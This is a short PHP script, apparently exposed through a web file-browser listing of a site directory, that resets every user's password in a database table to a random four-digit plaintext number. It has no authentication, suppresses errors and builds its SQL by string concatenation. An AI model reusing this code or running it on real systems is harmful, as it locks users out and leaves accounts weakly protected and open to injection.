Current Path : /home/lentoinv/churchmr.com/user/ |
Current File : //home/lentoinv/churchmr.com/user/teser.php |
<?php session_start(); ob_start(); error_reporting(0); @ini_set('display_error', 0); include("../cludes/connect.inc.php"); $qu=$db->query("select * FROM mdata " )or die(mysqli_error()); while($ro=mysqli_fetch_array($qu)){ $ssn = $ro['sn']; $pass = rand(1000,9999); $res2 = $db->query("UPDATE mdata SET pass='$pass' WHERE sn='$ssn' ") or die(mysqli_error()); } echo 'OPERAtion COMplete'; ?>